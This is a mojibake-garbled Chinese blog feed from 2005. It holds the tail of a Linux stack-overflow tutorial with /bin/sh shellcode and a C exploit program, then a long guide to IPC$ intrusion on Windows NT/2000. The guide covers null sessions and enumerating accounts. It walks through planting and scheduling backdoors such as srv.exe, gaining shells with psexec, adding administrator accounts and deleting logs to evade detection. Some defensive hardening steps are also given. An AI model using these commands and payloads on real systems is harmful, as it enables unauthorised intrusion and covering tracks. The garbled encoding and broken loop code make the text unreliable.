然后通过C~译器编写MYSHELLASM.C <BR>q行出错Q原因代码段不允许进行修改,但是对于我们溢出是可以的Q原因在于溢出是在数据段q行的, 通过GDB查看16q制码,倒出ASCII字符写出TEST.CE序来验证MYSHELLASM可以q行 <BR>ret = (int *)&ret + 2; //ret {于mainQ)执行完后的返回系l的地址 <BR>//(Q?是因为:有pushl ebp ,否则?可以了? 但是在堆栈溢ZQ关键在于字W串数组的写界。但是,getsQstrcpy{字W串函数在处理字W串的时 候,?\0" 为字W串l尾。遇\0q束了写xx作。Myshell中有0X00的字W存在?<BR>把所有赋?的xx作用异或或者MOV已知?的寄存器赋值来完成 <BR>jmp 0x1f <BR>popl %esi <BR>movl %esi,0x8(%esi) <BR>xorl %eax,%eax <BR>movb %eax,0x7(%esi) <BR>movl %eax,0xc(%esi) <BR>movb $0xb,%al <BR>movl %esi,%ebx <BR>leal 0x8(%esi),%ecx <BR>leal 0xc(%esi),%edx <BR>int $0x80 <BR>xorl %ebx,%ebx <BR>movl %ebx,%eax <BR>inc %eax <BR>int $0x80 <BR>call -0x24 <BR>.string \"/bin/sh\" 汇编得出?<BR>shellcode = <BR>"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" <BR>"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" <BR>"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; <BR>我们开始来写一个攻击DEMO溢出的例?<BR>1:把我们的shellcode提供l他Q让他可以访问shellcode?<BR>2:修改他的q回地址为shellcode的入口地址?对于strcpy函数Q我们要知道被溢出的~冲的的地址。对于xx作系l来_一个shell下的每一个程序的 堆栈D开始地址都是 相同?。我们需要内部写一个调用来获得q行时的堆栈起始地址Q来知道了目标程 序堆栈的开始地址?<BR>Q所有C函数的返回值都攑֜eax 寄存?里面Q? <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>buffer相对于堆栈开始地址的偏U,对于DEMO我们可以计算出来Q但对于真正有溢出毛病的E序我们在没 有源代码和去跟踪汇编是无法计出的,只能靠猜了。不q,一般的E序堆栈大约?几K 左右。ؓ?提高命中率,增加溢出的SHELLCODE的长度和NOP指oQNOP指o的机器码?x90?同时在我们的E序中允 许输入参数来调节溢出炏V?<BR>#include <BR>#include <BR>#define OFFSET 0 <BR>#define RET_POSITION 120 <BR>#define RANGE 20 <BR>#define NOP 0x90 char shellcode[]= <BR>"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" <BR>"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" <BR>"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) <BR>{ <BR>__asm__("movl %esp,%eax"); <BR>} main(int argc,char **argv) <BR>{ <BR>char buff[RET_POSITION+RANGE+1],*ptr; <BR>long addr; <BR>unsigned long sp; <BR>int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; <BR>int i; if(argc>1) <BR>offset=atoi(argv[1]); sp=get_sp(); <BR>addr=sp-offset; for(i=0;i *((long *)&(buff[i]))=addr; for(i=0;i buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; <BR>for(i=0;i *(ptr++)=shellcode[i]; <BR>buff[bsize-1]="\0" <BR>for(i=0;i<132;i++) <BR>printf("0x%08x\n",buff[i]); <BR>printf("Jump to 0x%08x\n",addr); execl("./demo","demo",buff,0); <BR>} <BR>注意Q如果发现溢出允许的</FONT><A class=Channel_KeyLink ><FONT style="BACKGROUND-COLOR: #d3d3d3">I间</FONT></A><FONT style="BACKGROUND-COLOR: #d3d3d3">不够SHELLCODE的代码,那么可以把地址攑ֈ前面去,SHELLCODE攑֜?址的后面,E序q行一些改动,原理一?/FONT><img src ="http://www.tkk7.com/RR00/aggbug/22987.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/RR00/" target="_blank">R.Zeus</a> 2005-12-08 15:18 <a href="http://www.tkk7.com/RR00/articles/22987.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IPC$d详解http://www.tkk7.com/RR00/articles/22795.htmlR.ZeusR.ZeusTue, 06 Dec 2005 14:30:00 GMThttp://www.tkk7.com/RR00/articles/22795.htmlhttp://www.tkk7.com/RR00/comments/22795.htmlhttp://www.tkk7.com/RR00/articles/22795.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/22795.htmlhttp://www.tkk7.com/RR00/services/trackbacks/22795.html一 摘要
?什么是ipc$
?什么是IZ?BR>?IZ话可以做什?BR>?ipc$所使用的端?BR>?ipc道在hackd中的意义
?ipc$q接p|的常见原?BR>?复制文gp|的原?BR>?关于at命o和xp对ipc$的限?BR>?如何打开目标的IPC$׃n以及其他׃n
十一 一些需要shell才能完成的命?BR>十二 入R中可能会用到的命?BR>十三 Ҏq去和现今的ipc$入R
十四 如何防范ipc$入R
十五 ipc$入R问答_N?/FONT>

一 摘要
注意Q本文所讨论的各U情况均默认发生在win NT/2000环境下,win98不在此ơ讨Z列?BR>

?什么是ipc$

IPC$(Internet Process Connection)是共?命名道"的资源,它是Z让进E间通信而开攄命名道Q通过提供可信ȝ用户名和口oQ连接双方可以徏立安全的通道q以此通道q行加密数据的交换,从而实现对q程计算机的讉K。IPC$是NT/2000的一Ҏ功能Q它有一个特点,卛_同一旉内,两个IP之间只允许徏立一个连接。NT/2000在提供了ipc$功能的同Ӟ在初ơ安装系l时q打开了默认共享,x有的逻辑׃n(c$,d$,e$…?和系l目录winnt或windows(admin$)׃n。所有的q些Q微软的初衷都是Z方便理员的理Q但在有意无意中Q导致了pȝ安全性的降低?BR>qx我们总能听到有h在说ipc$漏洞Qipc$漏洞Q其实ipc$q不是一个真正意义上的漏z?我想之所以有么说Q一定是指微软自己安|的那个‘后门’:IZ话(Null sessionQ。那么什么是IZ话呢Q?/FONT>


?什么是IZ?/FONT>
在介l空会话之前Q我们有必要了解一下一个安全会话是如何建立的?BR>在Windows NT 4.0中是使用挑战响应协议与远E机器徏立一个会话的Q徏立成功的会话成Z个安全隧道,建立双方通过它互通信息,q个q程的大致顺序如下:
1Q会话请求者(客户Q向会话接收者(服务器)传送一个数据包Q请求安全隧道的?
立;
2Q服务器产生一个随机的64位数Q实现挑战)传送回客户Q?
3Q客户取得这个由服务器生的64位数Q用试图建立会话的帐L口o打ؕ它,结
果返回到服务器(实现响应Q;
4Q服务器接受响应后发送给本地安全验证QLSAQ,LSA通过使用该用h的口o来核实响应以便确认请求者n份。如果请求者的帐号是服务器的本地帐P核实本地发生Q如果请求的帐号是一个域的帐P响应传送到域控制器L实。当Ҏ战的响应核实为正后Q一个访问o牌生,然后传送给客户。客户用这个访问o牌连接到服务器上的资源直到徏议的会话被终止?BR>以上是一个安全会话徏立的大致q程Q那么空会话又如何呢Q?/FONT>

IZ话是在没有信ȝ情况下与服务器徏立的会话Q即未提供用户名与密码)Q但ҎWIN2000的访问控制模型,IZ话的建立同样需要提供一个o牌,可是IZ话在建立q程中ƈ没有l过用户信息的认证,所以这个o牌中不包含用户信息,因此Q这个会话不能让pȝ间发送加密信息,但这q不表示IZ话的令牌中不包含安全标识WSIDQ它标识了用户和所属组Q,对于一个空会话QLSA提供的o牌的SID是S-1-5-7Q这是IZ话的SIDQ用户名是:ANONYMOUS LOGONQ这个用户名是可以在用户列表中看到的Q但是是不能在SAM数据库中扑ֈQ属于系l内|的帐号Q,q个讉K令牌包含下面伪装的组Q?
Everyone
Network
在安全策略的限制下,q个IZ话将被授权访问到上面两个l有权访问到的一切信息。那么徏立空会话到底可以作什么呢Q?


?IZ话可以做什?

对于NTQ在默认安全讄下,借助I接可以列丄标主Z的用户和׃nQ访问everyone权限的共享,讉K部分注册表{,q没有什么太大的利用价|?000作用更小Q因为在Windows 2000 和以后版本中默认只有理员和备䆾操作员有权从|络讉K到注册表Q而且实现h也不方便Q需借助工具?BR>从这些我们可以看刎ͼq种非信M话ƈ没有多大的用处,但从一ơ完整的ipc$入R来看Q空会话是一个不可缺的xQ因为我们从它那里可以得到户列表Q而大多数弱口令扫描工具就是利用这个用户列表来q行口o猜解的,成功的导出用户列表大大增加了猜解的成功率Q仅从这一点,以说明IZ话所带来的安全隐患,因此说空会话毫无用处的说法是不正的。以下是IZ话中能够使用的一些具体命令:


1 首先Q我们先建立一个空q接Q当Ӟq需要目标开放ipc$Q?BR>命oQnet use \\ip\ipc$ "" /user:""
注意Q上面的命o包括四个I格Qnet与use中间有一个空|use后面一个,密码左右各一个空根{?/FONT>


2 查看q程L的共享资?BR>命oQnet view \\ip
解释Q前提是建立了空q接后,用此命o可以查看q程L的共享资源,如果它开了共享,可以得到如下面的l果Q但此命令不能显C默认共享?/FONT>

?\\*.*.*.*的共享资?BR>资源׃n?cd 用?注释

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命o成功完成?/FONT>

3 查看q程L的当前时?BR>命oQ?net time \\ip
解释Q用此命令可以得C个远E主机的当前旉?/FONT>


4 得到q程L的NetBIOS用户名列表(需要打开自己的NBTQ?BR>命oQnbtstat -A ip
用此命o可以得到一个远E主机的NetBIOS用户名列表,q回如下l果Q?/FONT>

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37


以上是我们l常使用IZ话做的事情,好像也能获得不少东西哟,不过要注意一点:建立IPC$q接的操作会在Event Log中留下记录,不管你是否登录成功?好了Q那么下面我们就来看看ipc$所使用的端口是什么?


?ipc$所使用的端?/FONT>
首先我们来了解一些基知识Q?BR>1 SMB:(Server Message Block) Windows协议族,用于文g打印׃n的服务;
2 NBT:(NETBios Over TCP/IP)使用137QUDPQ?38QUDPQ?39QTCPQ端口实现基于TCP/IP协议的NETBIOS|络互联?BR>3 在WindowsNT中SMBZNBT实现Q即使用139QTCPQ端口;而在Windows2000中,SMB除了ZNBT实现Q还可以直接通过445端口实现?/FONT>

有了q些基础知识Q我们就可以q一步来讨论讉K|络׃n对端口的选择了:

对于win2000客户端(发v端)来说Q?BR>1 如果在允许NBT的情况下q接服务器时Q客L会同时尝试访?39?45端口Q如?45端口有响应,那么发送RST包给139端口断开q接Q用455端口q行会话Q当445端口无响应时Q才使用139端口Q如果两个端口都没有响应Q则会话p|Q?BR>2 如果在禁止NBT的情况下q接服务器时Q那么客L只会试讉K445端口Q如?45端口无响应,那么会话p|?/FONT>


对于win2000服务器端来说Q?BR>1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445开放(LISTENINGQ;
2 如果止NBTQ那么只?45端口开放?/FONT>


我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果q程服务器没有监?39?45端口Qipc$会话是无法徏立的?/FONT>


?ipc道在hackd中的意义

ipc道本来是微软ؓ了方便管理员q行q程理而设计的Q但在入侵者看来,开放ipc道的主Z乎更Ҏ得手。通过ipc道Q我们可以远E调用一些系l函敎ͼ大多通过工具实现Q但需要相应的权限Q,q往往是入侉|败的关键。如果不考虑q些Q仅从传送文件这一斚wQipc道已经l了入R者莫大的支持Q甚臛_l成Z最重要的传输手D,因此你总能在各大论坛上看到一些朋友因为打不开目标机器的ipc道而一{莫展大呼救命。当Ӟ我们也不能忽视权限在ipc道中扮演的重要角色Q想必你一定品过IZ话的尬Q没有权限,开启管道我们也无可奈何。但入R者一旦获得了理员的权限Q那么ipc道q把双刃剑将昄出它狰狞的一面?/FONT>


?ipc$q接p|的常见原?/FONT>
以下是一些常见的Dipc$q接p|的原因:

1 IPCq接是Windows NT及以上系l中Ҏ的功能,׃光要用到Windows NT中很多DLL函数Q所以不能在Windows 9.x/Mepȝ中运行,也就是说只有nt/2000/xp才可以相互徏立ipc$q接Q?8/me是不能徏立ipc$q接的;


2 如果x功的建立一个ipc$q接Q就需要响应方开启ipc$׃nQ即使是I接也是这P如果响应方关闭了ipc$׃nQ将不能建立q接Q?/FONT>


3 q接发vҎ启动Lanmanworkstation服务Q显C名为:WorkstationQ:它提供网l链l和通讯Q没有它发vҎ法发赯接请求;


4 响应Ҏ启动Lanmanserver服务Q显C名为:ServerQ:它提供了 RPC 支持、文件、打C及命名管道共享,ipc$依赖于此服务Q没有它L无法响应发h的连接请求,不过没有它仍可发起ipc$q接Q?/FONT>


5 响应Ҏ启动NetLogonQ它支持|络上计机 pass-through 帐户dw䆾Q不q这U情况好像不多)Q?/FONT>


6 响应方的139Q?45端口未处于监听状态或被防火墙屏蔽Q?/FONT>


7 q接发vҎ打开139Q?45端口Q?/FONT>


8 用户名或者密码错误:如果发生q样的错误,pȝ给你类g'无法更新密码'q样的错误提C(昄IZ话排除这U错误)Q?/FONT>


9 命o输入错误Q可能多了或了I格Q当用户名和密码中不包含I格时两边的双引号可以省略,如果密码为空Q可以直接输入两个引?"卛_Q?/FONT>


10 如果在已l徏立好q接的情况下Ҏ重启计算机,那么ipc$q接会自动断开Q需要重新徏立连接?


另外,你也可以Ҏq回的错误号分析原因Q?

错误?Q拒l访问:很可能你使用的用户不是管理员权限的;
错误?1QWindows无法扑ֈ|络路径Q网l有问题Q?
错误?3Q找不到|络路径Qip地址错误Q目标未开机;目标lanmanserver服务未启动;目标有防火墙Q端口过滤)Q?
错误?7Q找不到|络名:你的lanmanworkstation服务未启动或者目标删除了ipc$Q?
错误?219Q提供的凭据与已存在的凭据集冲突Q你已经和对方徏立了一个ipc$Q请删除再连Q?
错误?326Q未知的用户名或错误密码Q原因很明显了;
错误?792Q试囄录,但是|络d服务没有启动Q目标NetLogon服务未启动;
错误?242Q此用户的密码已l过期:目标有帐L略,强制定期要求更改密码?


?复制文gp|的原?/FONT>
有些朋友虽然成功的徏立了ipc$q接Q但在copy时却遇到了这样那LȝQ无法复制成功,那么D复制p|的常见原因又有哪些呢Q?/FONT>


1 Ҏ未开启共享文件夹
q类错误出现的最多,占到50%以上。许多朋友在ipc$q接建立成功后,甚至都不知道Ҏ是否有共享文件夹Q就q行盲目复制Q结果导致复制失败而且郁闷的很。因此我大家在进行复制之前务必用net view \\IPq个命o看一下你惌复制的共享文件夹是否存在Q用软g查看当然更好Q,不要认ؓ能徏立ipc$q接׃定有׃n文g夹存在?/FONT>


2 向默认共享复制失?BR>q类错误也是大家l常犯的Q主要有两个方面:

1Q错误的认ؓ能徏立ipc$q接的主机就一定开启了默认׃nQ因而在建立完连接之后马上向c$,d$,admin$之类的默认共享复制文Ӟ一旦对Ҏ开启默认共享,导致复制失败。ipc$q接成功只能说明Ҏ打开了ipc$׃nQƈ不能说明默认׃n一定存在。ipc$׃n与默认共享是两码事,ipc$׃n是一个命名管道,q不是哪个实际的文g夹,而默认共享却是实实在在的׃n文g夹;

2Q由于net view \\IP q个命o无法昄默认׃n文g夹(因ؓ默认׃n?Q,因此通过q个命oQ我们ƈ不能判断Ҏ是否开启了默认׃nQ因此如果对Ҏ开启默认共享,那么所有向默认׃nq行的操作都不能成功Q(不过大部分扫描Y件在扫弱口o的同Ӟ都能扫到默认׃n目录Q可以避免此c错误的发生Q?/FONT>

要点Q请大家一定区分ipc׃nQ默认共享,普通共享这三者的区别Qipc׃n是一个管道,q不是实际的׃n文g夹;默认׃n是安装时默认打开的文件夹Q普通共享是我们自己开启的可以讄权限的共享文件夹?/FONT>


3用户权限不够Q包括四U情形:
1Q空q接向所有共享(默认׃n和普通共享)复制Ӟ权限是不够的Q?BR>2Q向默认׃n复制Ӟ在Win2000 Pro版中Q只有Administrators和Backup Operatorsl成员才可以Q在Win2000 Server版本 Server Operatrosl也可以讉K到这些共享目录;
3Q向普通共享复制时Q要h相应权限Q即Ҏ理员事先设定的讉K权限Q;
4Q对方可以通过防火墙或安全软g的设|,止外部讉K׃nQ?/FONT>

注意Q?BR>1 不要认ؓadministrator׃定具有管理员权限Q管理员名称是可以改?BR>2 理员可以访问默认共享的文g夹,但不一定能够访问普通的׃n文g夹,因ؓ理员可以对普通的׃n文g夹进行访问权限设|,如图6Q管理员为D盘设|的讉K权限Z允许名ؓxinxin的用户对该文件夹q行完全讉KQ那么此时即使你拥有理员权限,你仍然不能访问D盘。不q有意思的是,如果此时Ҏ又开启了D$的默认共享,那么你却可以讉KD$Q从而绕q了权限限制Q有兴趣的朋友可以自己做试?/FONT>


4被防火墙杀L在局域网
q有一U情况,那就是也怽的复制操作已l成功,但当q程q行Ӟ被防火墙杀掉了Q导致找不到文gQ或者你把木马复制到了局域网内的LQ导致连接失败(反向q接的木马不会发生这U情况)。如果你没有惛_q种情况Q你会以为是复制上出了问题,但实际你的复制操作已l成功了Q只是运行时Z问题?/FONT>


呵呵Q大家也知道Qipc$q接在实际操作过E中会出现各U各L问题Q上面我所ȝ的只是一些常见错误,没说到的Q大家可以给我提个醒ѝ?/FONT>


?关于at命o和xp对ipc$的限?/FONT>
本来q想说一下用atq程q行E序p|的原因,但考虑到at的成功率不是很高Q问题也很多Q在q里׃提它了(提的多Q用的hp多)Q而是推荐大家用psexec.exeq程q行E序Q假设想要远E机器执行本地c:\xinxin.exe文gQ且理员ؓadministratorQ密码ؓ1234Q那么输入下面的命oQ?BR>psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe
如果已经建立ipcq接Q则-u -pq两个参C需要,psexec.exe自动拷贝文件到q程机器q运行?/FONT>

本来xp中的ipc$也不惛_q里讨论Q想单独拿出来讨论,但看到越来越多的朋友很急切的提问ؓ什么遇到xp的时候,大部分操作都很难成功。我在这里就单提一下吧Q在xp的默认安全选项中,Mq程讉K仅被赋予来宾权限Q也是说即使你是用理员帐户和密码Q你所得到的权限也只是GuestQ因此大部分操作都会因ؓ权限不够而失败,而且到目前ؓ止ƈ没有一个好的办法来H破q一限制。所以如果你真的得到了xp的管理员密码Q我你尽量避开ipc道?/FONT>


?如何打开目标的IPC$׃n以及其他׃n

目标的ipc$不是Lp打开的,否则p天下打ؕ了。你需要一个admin权限的shellQ比如telnetQ木马,cmd重定向等Q然后在shell下执行:
net share ipc$
开攄标的ipc$׃nQ?BR>net share ipc$ /del
关闭目标的ipc$׃nQ如果你要给它开׃n文g夹,你可以用Q?BR>net share xinxin=c:\
q样把它的c盘开为共享名为xinxin׃n文g夹了。(可是我发现很多h错误的认为开׃n文g夹的命o是net share c$Q还大模大样的给菜鸟指指点点Q真是误人子弟了Q。再ơ声明,q些操作都是在shell下才能实现的?/FONT>


十一 一些需要shell才能完成的命?/FONT>
看到很多教程q方面写的十分不准确Q一些需要shell才能完成命oq单单的在ipc$q接下执行了Qv了误g用。那么下面我ȝ一下需要在shell才能完成的命令:

1 向远E主机徏立用PȀzȝP修改用户密码Q加入管理组的操作需要在shell下完成;

2 打开q程L的ipc$׃nQ默认共享,普通共享的操作需要在shell下完成;

3 q行/关闭q程L的服务,需要在shell下完成;

4 启动/杀掉远E主机的q程Q也需要在shell下完成(用Y件的情况下除外,如pskillQ?/FONT>


十二 入R中可能会用到的命?BR>
Zq䆾教程的完整性,我列Zipc$入R中的一些常用命令,如果你已l掌握了q些命oQ你可以跌q一部分看下面的内容。请注意q些命o是适用于本地还是远E,如果只适用于本圎ͼ你只能在获得q程L的shellQ如cmdQtelnet{)后,才能向远E主机执行?/FONT>


1 建立/删除ipc$q接的命?/FONT>

1Q徏立空q接:
net use \\127.0.0.1\ipc$ "" /user:""

2Q徏立非I?
net use \\127.0.0.1\ipc$ "密码" /user:"用户?

3Q删除连?
net use \\127.0.0.1\ipc$ /del


2 在ipc$q接中对q程L的操作命?/FONT>

1Q?查看q程L的共享资源(看不到默认共享):
net view \\127.0.0.1

2Q?查看q程L的当前时?
net time \\127.0.0.1

3Q?得到q程L的netbios用户名列?
nbtstat -A 127.0.0.1

4Q映?删除q程׃n:
net use z: \\127.0.0.1\c
此命令将׃n名ؓc的共享资源映ؓ本地z?

net use z: /del
删除映射的z盘,其他盘类?/FONT>

5Q向q程L复制文g:
copy 路径\文g?\\IP\׃n目录名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 卛_c盘下的xinxin.exe复制到对方c盘内
当然Q你也可以把q程L上的文g复制到自q机器里:
copy \\127.0.0.1\c$\xinxin.exe c:\

6Q远E添加计划Q?
at \\IP 旉 E序?如:
at \\127.0.0.0 11:00 xinxin.exe
注意Q时间尽量?4时Ӟ如果你打运行的E序在系l默认搜索\径(比如system32/Q下则不用加路径Q否则必d全\?/FONT>


3 本地命o

1Q查看本C机的׃n资源Q可以看到本地的默认׃nQ?BR>net share

2Q得到本C机的用户列表
net user

3Q显C本地某用户的帐户信?BR>net user 帐户?/FONT>

4Q显C本C机当前启动的服务
net start

5Q启?关闭本地服务
net start 服务?
net stop 服务?

6Q在本地d帐户
net user 帐户?密码 /add

7Q激zȝ用的用户
net uesr 帐户?/active:yes

8Q加入管理员l?BR>net localgroup administrators 帐户?/add

很显然的是,虽然q些都是本地命oQ但如果你在q程L的shell中输入,比如你telnet成功后输入上面这些命令,那么q些本地输入作用在q程L上?/FONT>


4 其他一些命?BR>
1Qtelnet
telnet IP 端口
telnet 127.0.0.0 23

2Q用opentelnet.exe开启远E主机的telnet
OpenTelnet.exe \\ip 理员帐?密码 NTLM的认证方?port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
不过q个工具需要满_个要求:
1Q目标开启了ipc$׃n
2Q你要拥有管理员密码和帐?BR>3Q目标开启RemoteRegistry服务Q用户就可以更改ntlm认证
4Q对仅WIN2K/XP有效

3Q用psexec.exe一步获得shellQ需要ipc道支持
psexec.exe \\IP -u 理员帐?-p 密码 cmd
psexec.exe \\127.0.0.1 -u administrator -p "" cmd


十三 Ҏq去和现今的ipc$入R

既然是对比,那么我就先把q去的ipc$入R步骤写给大家Q都是蛮l典的步骤:

[1]
C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
\\用扫到的I口令徏立连接  

[2]
c:\>net view \\127.0.0.1
\\查看q程的共享资?/FONT>

[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\一ơ性后门srv.exe复制到对方的pȝ文g夹下Q前提是admin$开启  

[4]
C:\>net time \\127.0.0.1
\\查看q程L的当前时?/FONT>

[5]
C:\>at \\127.0.0.1 旉 srv.exe
\\用at命oq程q行srv.exeQ需要对方开启了'Task Scheduler'服务  

[6]
C:\>net time \\127.0.0.1
\\再次查看当前旉来估srv.exe是否已经q行Q此步可以省?/FONT>

[7]    
C:\>telnet 127.0.0.1 99
\\开一个新H口Q用telnetq程登陆?27.0.0.1从而获得一个shell(不懂shell是什么意思?那你把它想象成q程机器的控制权好了,操作像DOS)Q?9端口是srv.exe开的一ơ性后门的端口  

[8]
C:\WINNT\system32>net start telnet
\\我们在刚刚登陆上的shell中启动远E机器的telnet服务Q毕竟srv.exe是一ơ性的后门Q我们需要一个长久的后门便于以后讉KQ如果对方的telnet已经启动Q此步可省略

[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\在原来那个窗口中ntlm.exe传过去,ntlm.exe是用来更改telnetw䆾验证的  

[10]
C:\WINNT\system32>ntlm.exe
\\在shellH口中运行ntlm.exeQ以后你可以畅通无ȝtelnetq台L?BR>  
[11]
C:\>telnet 127.0.0.1 23
\\在新H口中telnet?27.0.0.1Q端?3可省略,q样我们又获得一个长期的后门

[12]
C:\WINNT\system32>net user 帐户?密码 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帐户?/add
\\telnet上以后,你可以徏立新帐户Q激zguestQ把M帐户加入理员组{?/FONT>

好了Q写到这里我g回到?Q?q前Q那时的ipc$大家都是q么用的Q不q随着新工L出现Q上面提到的一些工具和命o现在已经不常用到了,那就让我们看看现在的高效而简单的ipc$入R吧?/FONT>

[1]
psexec.exe \\IP -u 理员帐?-p 密码 cmd
\\用这个工h们可以一步到位的获得shell

OpenTelnet.exe \\server 理员帐?密码 NTLM的认证方?port
\\用它可以方便的更改telnet的验证方式和端口Q方便我们登?/FONT>

[2]
已经没有W二步了Q用一步获得shell之后Q你做什么都可以了,安后门可以用winshellQ克隆就用ca吧,开l端?389.vbeQ记录密码用win2kpassQM好的工具不少Q随你选了Q我׃多说了?/FONT>


十四 如何防范ipc$入R
察看本地׃n资源
q行-cmd-输入net share
删除׃n(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /deleteQ如果有e,f,……可以l删除)

1 止I接进行枚?此操作ƈ不能LI接的建立)

q行regeditQ找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:1
如果讄?1"Q一个匿名用户仍然可以连接到IPC$׃nQ但无法通过q种q接得到列DSAM帐号和共享信息的权限Q在Windows 2000 中增加了"2"Q未取得匿名权的用户不能进行ipc$I接。徏议设|ؓ1。如果上面所说的主键不存在,新Z个再攚w倹{如果你觉得Ҏ册表ȝQ可以在本地安全讄中设|此: 在本地安全设|-本地{略Q安全选项Q?对匿名连接的额外限制'


2 止默认׃n

1Q察看本地共享资?BR>q行-cmd-输入net share

2Q删除共享(重v后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /deleteQ如果有e,f,……可以l删除)

3Q停止server服务
net stop server /y Q重新启动后server服务会重新开启)

4Q禁止自动打开默认׃nQ此操作q不能关闭ipc$׃nQ?
q行-regedit

server?扑ֈ如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServerQDWORDQ的键值改?00000000?

pro?扑ֈ如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWksQDWORDQ的键值改?00000000?
q两个键值在默认情况下在L上是不存在的Q需要自己手动添加,修改后重h器讄生效?/FONT>


3 关闭ipc$和默认共享依赖的服务:server服务
如果你真的想关闭ipc$׃nQ那q止server服务吧:
控制面板-理工具-服务-扑ֈserver服务Q右击)-属?常规-启动cd-选已用Q这时可能会有提CQXXX服务也会关闭是否l箋Q因有些ơ要的服务要依赖于server服务Q不要管它?


4 屏蔽139Q?45端口
׃没有以上两个端口的支持,是无法徏立ipc$的,因此屏蔽139Q?45端口同样可以Lipc$入R?/FONT>

1Q?39端口可以通过止NBT来屏?BR>本地q接QTCP/IT属性-高QWINSQ选‘禁用TCP/IT上的NETBIOS’一?/FONT>

2Q?45端口可以通过修改注册表来屏蔽
d一个键?BR>Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完后重启机器
注意Q如果屏蔽掉了以上两个端口,你将无法用ipc$入R别h?

3Q安装防火墙q行端口qo


6 讄复杂密码Q防止通过ipc$ID出密码,我觉得这才是最好的办法Q增强安全意识,比不停的打补丁要安全的多?/FONT>


十五 ipc$入R问答_N?/FONT>
1.q行ipc$入R的时候,会在服务器中留下记录Q有什么办法可以不让服务器发现吗?

{:留下记录是一定的Q你走后用清除日志程序删除就可以了,或者用肉鸡入R?/FONT>


2.你看下面的情冉|Z么,可以q接但不能复?BR>net use \\***.***.***.***\ipc$ "密码" /user:"用户?
命o成功
copy icmd.exe \\***.***.***.***\admin$
找不到网l\?BR>命o不成?/FONT>

{:像“找不到|络路径”“找不到|络名”之cȝ问题Q大多是因ؓ你想要复制到的共享文件夹没有开启,所以在复制的时候会出现错误Q你可以试着找找其他的共享文件夹?/FONT>


3.如果Ҏ开了IPC$Q且能徏立空联接Q但打开C、D盘时Q都要求密码Q我知道是空q接没有太多的权限,但没别的办法了吗Q?/FONT>

{:先用光或者别的什么扫描Y件试着猜解一下密码,如果猜不出来Q只能放弃,毕竟I接的能力有限?/FONT>


4.我已l猜解到了管理员的密码,且已lipc$q接成功了,但net view \\ip发现它没开默认׃nQ我该怎么办?

{:首先U正你的一个错误,用net view \\ip是无法看到默认共享的Q你可以试着文件复制到c$Qd$看看Q如果都不行Q说明他关闭了默认共享,那你qopentelnet.exe或psexec.exe吧,用法上面有?/FONT>


5.ipc$q接成功后,我用下面的命令徏立了一个帐P却发现这个帐户在我自q机器上,q是怎么回事Q?BR>net uset ccbirds /add

{:ipc$建立成功只能说明你与q程L建立了通信隧道Qƈ不意味你取得了一个shellQ只有在获得一个shellQ比如telnetQ之后,你才能在q程机器建立一个帐P否则你的操作只是在本地进行?/FONT>


6.我已q入了一台肉机,用的理员帐P可以看他的系l时_但是复制E序C的机子上却不行,每次都提C“拒l访问,已复?个文件”,是不是对Ҏ什么服务没开Q我该怎么办?

{:一般来说“拒l访问”都是权限不够的l果Q可能是你用的帐h问题Q还有一U可能,如果你想向普通共享文件夹复制文g却返回这个错误,说明q个文g夹设|的允许讉K用户中不包括你(哪怕你是管理员Q,q一Ҏ在上一期文章中分析了?/FONT>


7.我用Win98能与Ҏ建立ipc$q接吗?

{:理论上不可以Q要q行ipc$的操作,用win2000Q用其他操作pȝ会带来许多不必要的麻烦?/FONT>


8.我用net use \\ip\ipc$ "" /user ""成功的徏立了一个空会话Q但用nbtstat -A IP 却无法导出用户列表,q是Z么?

